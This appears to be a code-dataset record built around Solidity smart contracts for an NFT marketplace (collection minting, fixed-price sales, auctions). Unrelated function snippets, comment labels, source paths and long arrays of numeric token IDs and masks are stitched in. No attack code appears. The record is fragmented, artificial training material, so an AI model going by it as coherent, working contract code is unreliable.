ref:https://noborderz.slack.com/archives/C0236PBG601/p1633942033011800?thread_ts=1633941154.010300&cid=C0236PBG601 function isSellable (string calldata name) external view returns(bool); function tokenURI(uint256 tokenId) external view returns (string memory); function ownerOf(uint256 tokenId) external view returns (address); function burn (uint256 tokenId) external; } // File: contracts/INFT.sol pragma solidity ^0.5.0; // import "../openzeppelin-solidity/contracts/token/ERC721/IERC721Full.sol"; interface INFT { function transferFromAdmin(address owner, address to, uint256 tokenId) external; function mintWithTokenURI(address to, string calldata tokenURI) external returns (uint256); function getAuthor(uint256 tokenIdFunction) external view returns (address); function updateTokenURI(uint256 tokenIdT, string calldata uriT) external; // function mint(address to, string calldata tokenURI) external returns (uint256); function transferOwnership(address newOwner) external; function ownerOf(uint256 tokenId) external view returns(address); function transferFrom(address owner, address to, uint256 tokenId) external; } // File: contracts/IFactory.sol pragma solidity ^0.5.0; contract IFactory { function create(string calldata name_, string calldata symbol_, address owner_) external returns(address); function getCollections(address owner_) external view returns(address [] memory); } // File: contracts/LPInterface.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface LPInterface { /** * @dev Returns the amount of tokens in existence. */ function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } // File: contracts/Proxy/DexStorage.sol pragma solidity ^0.5.0; /////////////////////////////////////////////////////////////////////////////////////////////////// /** * @title DexStorage * @dev Defining dex storage for the proxy contract. */ /////////////////////////////////////////////////////////////////////////////////////////////////// contract DexStorage { using SafeMath for uint256; address x; // dummy variable, never set or use its value in any logic contracts. It keeps garbage value & append it with any value set on it. IERC20 ALIA; INFT XNFT; IFactory factory; IERC20 OldNFTDex; IERC20 BUSD; IERC20 BNB; struct RDetails { address _address; uint256 percentage; } struct AuthorDetails { address _address; uint256 royalty; string ownerId; bool isSecondry; } // uint256[] public sellList; // this violates generlization as not tracking tokenIds agains nftContracts/collections but ignoring as not using it in logic anywhere (uncommented) mapping (uint256 => mapping(address => AuthorDetails)) internal _tokenAuthors; mapping (address => bool) public adminOwner; address payable public platform; address payable public authorVault; uint256 internal platformPerecentage; struct fixedSell { // address nftContract; // adding to support multiple NFT contracts buy/sell address seller; uint256 price; uint256 timestamp; bool isDollar; uint256 currencyType; } // stuct for auction struct auctionSell { address seller; address nftContract; address bidder; uint256 minPrice; uint256 startTime; uint256 endTime; uint256 bidAmount; bool isDollar; uint256 currencyType; // address nftAddress; } // tokenId => nftContract => fixedSell mapping (uint256 => mapping (address => fixedSell)) internal _saleTokens; mapping(address => bool) public _supportNft; // tokenId => nftContract => auctionSell mapping(uint256 => mapping ( address => auctionSell)) internal _auctionTokens; address payable public nonCryptoNFTVault; // tokenId => nftContract => ownerId mapping (uint256=> mapping (address => string)) internal _nonCryptoOwners; struct balances{ uint256 bnb; uint256 Alia; uint256 BUSD; } mapping (string => balances) internal _nonCryptoWallet; LPInterface LPAlia; LPInterface LPBNB; uint256 public adminDiscount; address admin; mapping (string => address) internal revenueAddressBlindBox; mapping (uint256=>string) internal boxNameByToken; bool public collectionConfig; uint256 public countCopy; mapping (uint256=> mapping( address => mapping(uint256 => bool))) _allowedCurrencies; IERC20 token; // struct offer { // address _address; // string ownerId; // uint256 currencyType; // uint256 price; // } // struct offers { // uint256 count; // mapping (uint256 => offer) _offer; // } // mapping(uint256 => mapping(address => offers)) _offers; uint256[] allowedArray; mapping (address => bool) collectionsWithRoyalties; address blindAddress; } // File: contracts/CollectionDex.sol pragma solidity ^0.5.0; contract CollectionDex is Ownable, DexStorage { event SellNFT(address indexed from, address nft_a, uint256 tokenId, address seller, uint256 price, uint256 royalty, uint256 baseCurrency, uint256[] allowedCurrencies); event OnAuction(address indexed seller, address nftContract, uint256 indexed tokenId, uint256 startPrice, uint256 endTime, uint256 baseCurrency); event Collection(address indexed creater, address collection, string name, string symbol); event CollectionsConfigured(address indexed xCollection, address factory); event MintWithTokenURI(address indexed collection, uint256 indexed tokenId, address minter, string tokenURI); function() external payable {} /*** * @dev function to create & deploy user-defined collection * @param name_ - name of the collection * @param symbol_ - symbol of collection * */ function createCollection(string memory name_, string memory symbol_) public { address col = factory.create(name_, symbol_, msg.sender); _supportNft[col] = true; if(msg.sender == blindAddress){ collectionsWithRoyalties[col] = true; } emit Collection(msg.sender, col, name_, symbol_); } /*** * @dev function to mint NFTs on given user-defined collection * @param collection - address of collection to whom NFT to be created/minted * @param to - receiving account of minted NFT * @param tokenURI - metadata URI link of NFT * */ function mintAndSellCollectionNFT(address collection, address to, string memory tokenURI, uint256 price, uint256 baseCurrency, uint256[] memory allowedCurrencies ) isValid(collection) public { address[] memory collections = factory.getCollections(msg.sender); bool flag; for (uint256 i = 0; i < collections.length; i++){ if (collections[i] == collection){ flag = true; break; } } require(flag, "unauthorized: invalid owner/collection"); // for (uint256 j = 0; j < quantity; j++){ uint256 tokenId = INFT(collection).mint(to, string(abi.encodePacked("https://ipfs.infura.io:5001/api/v0/cat?arg=", tokenURI))); sellNFT(collection, tokenId, to, price, baseCurrency, allowedCurrencies); // } emit MintWithTokenURI(collection, tokenId, msg.sender, tokenURI); } function mintWithCollection(address collection, address to, string memory tokenURI, uint256 royalty) isValid(collection) public returns(uint256) { address[] memory collections = factory.getCollections(msg.sender); bool flag; for (uint256 i = 0; i < collections.length; i++){ if (collections[i] == collection){ flag = true; break; } } require(flag, "unauthorized: invalid owner/collection"); // for (uint256 j = 0; j < quantity; j++){ uint256 tokenId = INFT(collection).mint(to, string(abi.encodePacked("https://ipfs.infura.io:5001/api/v0/cat?arg=", tokenURI))); // } if(collectionsWithRoyalties[collection]){ _tokenAuthors[tokenId][address(collection)]._address = admin; _tokenAuthors[tokenId][address(collection)].royalty = royalty; } emit MintWithTokenURI(collection, tokenId, msg.sender, tokenURI); return tokenId; } function mintAndAuctionCollectionNFT(address collection, address to, string memory tokenURI, uint256 _minPrice, uint256 baseCurrency, uint256 _endTime ) isValid(collection) public { address[] memory collections = factory.getCollections(msg.sender); bool flag; for (uint256 i = 0; i < collections.length; i++){ if (collections[i] == collection){ flag = true; break; } } require(flag, "unauthorized: invalid owner/collection"); // for (uint256 j = 0; j < quantity; j++){ uint256 tokenId = INFT(collection).mint(to, string(abi.encodePacked("https://ipfs.infura.io:5001/api/v0/cat?arg=", tokenURI))); setOnAuction(collection, tokenId, _minPrice, baseCurrency, _endTime); // } emit MintWithTokenURI(collection, tokenId, msg.sender, tokenURI); } /*** * @dev function to transfer ownership of user-defined collection * @param collection - address of collection whose ownership to be transferred * @param newOwner - new owner to whom ownerhsip to be transferred * @notice only owner of DEX can invoke this function * */ function transferCollectionOwnership(address collection, address newOwner) onlyOwner isValid(collection) public { INFT(collection).transferOwnership(newOwner); } // modifier to check if given collection is supported by DEX modifier isValid( address collection_) { require(_supportNft[collection_],"unsupported collection"); _; } function setBlindAddress(address _addr) public { require(msg.sender == admin,"only owner"); blindAddress = _addr; } function sellNFT(address nft_a,uint256 tokenId, address seller, uint256 price, uint256 baseCurrency, uint256[] memory allowedCurrencies) isValid(nft_a) public{ require(msg.sender == admin || (msg.sender == seller && INFT(nft_a).ownerOf(tokenId) == seller), "101"); // string storage boxName = boxNameByToken[tokenId]; uint256 royality; require(baseCurrency <= 1, "121"); // require(revenueAddressBlindBox[boxName] == address(0x0) || IERC20(0x313Df3fE7c83d927D633b9a75e8A9580F59ae79B).isSellable(boxName), "112"); bool isValid = true; for(uint256 i = 0; i< allowedCurrencies.length; i++){ if(allowedCurrencies[i] > 1){ isValid = false; } _allowedCurrencies[tokenId][nft_a][allowedCurrencies[i]] = true; } require(isValid,"122"); _saleTokens[tokenId][nft_a].seller = seller; _saleTokens[tokenId][nft_a].price = price; _saleTokens[tokenId][nft_a].timestamp = now; // _saleTokens[tokenId][nft_a].isDollar = isDollar; _saleTokens[tokenId][nft_a].currencyType = baseCurrency; // need to check if it voilates generalization // sellList.push(tokenId); // dealing special case of escrowing for xanalia collection i.e XNFT if(nft_a == address(XNFT)){ msg.sender == admin ? XNFT.transferFromAdmin(seller, address(this), tokenId) : XNFT.transferFrom(seller, address(this), tokenId); royality = _tokenAuthors[tokenId][nft_a].royalty; } else { INFT(nft_a).transferFrom(seller, address(this), tokenId); royality = 0; // making it zero as not setting royality for user defined collection's NFT } emit SellNFT(msg.sender, nft_a, tokenId, seller, price, royality, baseCurrency, allowedCurrencies); } function setOnAuction(address _contract,uint256 _tokenId, uint256 _minPrice, uint256 baseCurrency, uint256 _endTime) isValid(_contract) public { require(INFT(_contract).ownerOf(_tokenId) == msg.sender, "102"); string storage boxName = boxNameByToken[_tokenId]; // require(revenueAddressBlindBox[boxName] == address(0x0) || IERC20(0x313Df3fE7c83d927D633b9a75e8A9580F59ae79B).isSellable(boxName), "112"); require(baseCurrency <= 1, "121"); // require(revenueAddressBlindBox[boxName] == address(0x0) || IERC20(0x313Df3fE7c83d927D633b9a75e8A9580F59ae79B).isSellable(boxName), "112"); _auctionTokens[_tokenId][_contract].seller = msg.sender; _auctionTokens[_tokenId][_contract].nftContract = _contract; _auctionTokens[_tokenId][_contract].minPrice = _minPrice; _auctionTokens[_tokenId][_contract].startTime = now; _auctionTokens[_tokenId][_contract].endTime = _endTime; _auctionTokens[_tokenId][_contract].currencyType = baseCurrency; INFT(_contract).transferFrom(msg.sender, address(this), _tokenId); emit OnAuction(msg.sender, _contract, _tokenId, _minPrice, _endTime, baseCurrency); } }
require(revenueAddressBlindBox[boxName] == address(0x0) || IERC20(0x313Df3fE7c83d927D633b9a75e8A9580F59ae79B).isSellable(boxName), "112"); require(revenueAddressBlindBox[boxName] == address(0x0) || IERC20(0x313Df3fE7c83d927D633b9a75e8A9580F59ae79B).isSellable(boxName), "112");
function setOnAuction(address _contract,uint256 _tokenId, uint256 _minPrice, uint256 baseCurrency, uint256 _endTime) isValid(_contract) public { require(INFT(_contract).ownerOf(_tokenId) == msg.sender, "102"); string storage boxName = boxNameByToken[_tokenId]; require(baseCurrency <= 1, "121"); _auctionTokens[_tokenId][_contract].seller = msg.sender; _auctionTokens[_tokenId][_contract].nftContract = _contract; _auctionTokens[_tokenId][_contract].minPrice = _minPrice; _auctionTokens[_tokenId][_contract].startTime = now; _auctionTokens[_tokenId][_contract].endTime = _endTime; _auctionTokens[_tokenId][_contract].currencyType = baseCurrency; INFT(_contract).transferFrom(msg.sender, address(this), _tokenId); emit OnAuction(msg.sender, _contract, _tokenId, _minPrice, _endTime, baseCurrency); }
6,008,302
[ 1, 6528, 12, 266, 24612, 1887, 4802, 728, 3514, 63, 2147, 461, 65, 422, 1758, 12, 20, 92, 20, 13, 747, 467, 654, 39, 3462, 12, 20, 92, 23, 3437, 40, 74, 23, 74, 41, 27, 71, 10261, 72, 29, 5324, 40, 26, 3707, 70, 29, 69, 5877, 73, 28, 37, 8778, 3672, 42, 6162, 8906, 7235, 38, 2934, 291, 55, 1165, 429, 12, 2147, 461, 3631, 315, 17666, 8863, 2583, 12, 266, 24612, 1887, 4802, 728, 3514, 63, 2147, 461, 65, 422, 1758, 12, 20, 92, 20, 13, 747, 467, 654, 39, 3462, 12, 20, 92, 23, 3437, 40, 74, 23, 74, 41, 27, 71, 10261, 72, 29, 5324, 40, 26, 3707, 70, 29, 69, 5877, 73, 28, 37, 8778, 3672, 42, 6162, 8906, 7235, 38, 2934, 291, 55, 1165, 429, 12, 2147, 461, 3631, 315, 17666, 8863, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 445, 22131, 37, 4062, 12, 2867, 389, 16351, 16, 11890, 5034, 389, 2316, 548, 16, 2254, 5034, 389, 1154, 5147, 16, 2254, 5034, 1026, 7623, 16, 2254, 5034, 389, 409, 950, 13, 4908, 24899, 16351, 13, 1071, 288, 203, 225, 2583, 12, 706, 4464, 24899, 16351, 2934, 8443, 951, 24899, 2316, 548, 13, 422, 1234, 18, 15330, 16, 315, 20481, 8863, 203, 225, 533, 2502, 3919, 461, 273, 3919, 461, 858, 1345, 63, 67, 2316, 548, 15533, 203, 225, 2583, 12, 1969, 7623, 1648, 404, 16, 315, 26009, 8863, 203, 225, 389, 69, 4062, 5157, 63, 67, 2316, 548, 6362, 67, 16351, 8009, 1786, 749, 273, 1234, 18, 15330, 31, 203, 1377, 389, 69, 4062, 5157, 63, 67, 2316, 548, 6362, 67, 16351, 8009, 82, 1222, 8924, 273, 389, 16351, 31, 203, 1377, 389, 69, 4062, 5157, 63, 67, 2316, 548, 6362, 67, 16351, 8009, 1154, 5147, 273, 389, 1154, 5147, 31, 203, 1377, 389, 69, 4062, 5157, 63, 67, 2316, 548, 6362, 67, 16351, 8009, 1937, 950, 273, 2037, 31, 203, 1377, 389, 69, 4062, 5157, 63, 67, 2316, 548, 6362, 67, 16351, 8009, 409, 950, 273, 389, 409, 950, 31, 203, 1377, 389, 69, 4062, 5157, 63, 67, 2316, 548, 6362, 67, 16351, 8009, 7095, 559, 273, 1026, 7623, 31, 203, 1377, 2120, 4464, 24899, 16351, 2934, 13866, 1265, 12, 3576, 18, 15330, 16, 1758, 12, 2211, 3631, 389, 2316, 548, 1769, 203, 565, 3626, 2755, 37, 4062, 12, 3576, 18, 15330, 16, 389, 16351, 16, 389, 2316, 548, 16, 389, 1154, 2 ]
./partial_match/1/0x5f13816E16021fe309cC75455b1c0455963a953A/sources/src/KillerWhalesS1.sol
-------------------------------------------------------------------------- */ owner */ -------------------------------------------------------------------------- */* @notice Owner only - Updates the address of the discount signer @param _signer Address of the discount signer/
function setSigner(address _signer) external onlyOwner { if (_signer == address(0)) { _revert(SignerCannotBeZeroAddress.selector); } signer = _signer; emit SignerChanged(_signer); }
3,975,638
[ 1, 5802, 15392, 342, 4766, 565, 3410, 4766, 282, 342, 19950, 342, 225, 16837, 1338, 300, 15419, 326, 1758, 434, 326, 12137, 10363, 225, 389, 2977, 264, 5267, 434, 326, 12137, 10363, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 444, 15647, 12, 2867, 389, 2977, 264, 13, 3903, 1338, 5541, 288, 203, 3639, 309, 261, 67, 2977, 264, 422, 1758, 12, 20, 3719, 288, 203, 5411, 389, 266, 1097, 12, 15647, 4515, 1919, 7170, 1887, 18, 9663, 1769, 203, 3639, 289, 203, 3639, 10363, 273, 389, 2977, 264, 31, 203, 203, 3639, 3626, 16763, 5033, 24899, 2977, 264, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/5/0xc179d62d06BC0eF6ef7937fc82447F37D88D37Ca/sources/project_/contracts/token.sol
run the parent function
function _beforeTokenTransfer( address from, address to, uint256 amount ) internal override { require(to != address(0), "Token cannot be send at Zero address"); require( !IBlacklist(blContractAddress).isBlacklisted(to), "receiver is black listed" ); super._beforeTokenTransfer(from, to, amount); }
16,870,009
[ 1, 2681, 326, 982, 445, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 5771, 1345, 5912, 12, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 3844, 203, 565, 262, 2713, 3849, 288, 203, 3639, 2583, 12, 869, 480, 1758, 12, 20, 3631, 315, 1345, 2780, 506, 1366, 622, 12744, 1758, 8863, 203, 3639, 2583, 12, 203, 5411, 401, 45, 25811, 12, 3083, 8924, 1887, 2934, 291, 13155, 18647, 12, 869, 3631, 203, 5411, 315, 24454, 353, 7721, 12889, 6, 203, 3639, 11272, 203, 3639, 2240, 6315, 5771, 1345, 5912, 12, 2080, 16, 358, 16, 3844, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x829ad18aC42E8176A9b557be1a704b13DC46B751/sources/EasyBid.sol
reduce expected output by 2%
uint256 slippage = amounts[amounts.length - 1].mul(200).div(10000);
2,843,252
[ 1, 12498, 2665, 876, 635, 576, 9, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2254, 5034, 272, 3169, 2433, 273, 30980, 63, 8949, 87, 18, 2469, 300, 404, 8009, 16411, 12, 6976, 2934, 2892, 12, 23899, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2021-10-14 */ // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in 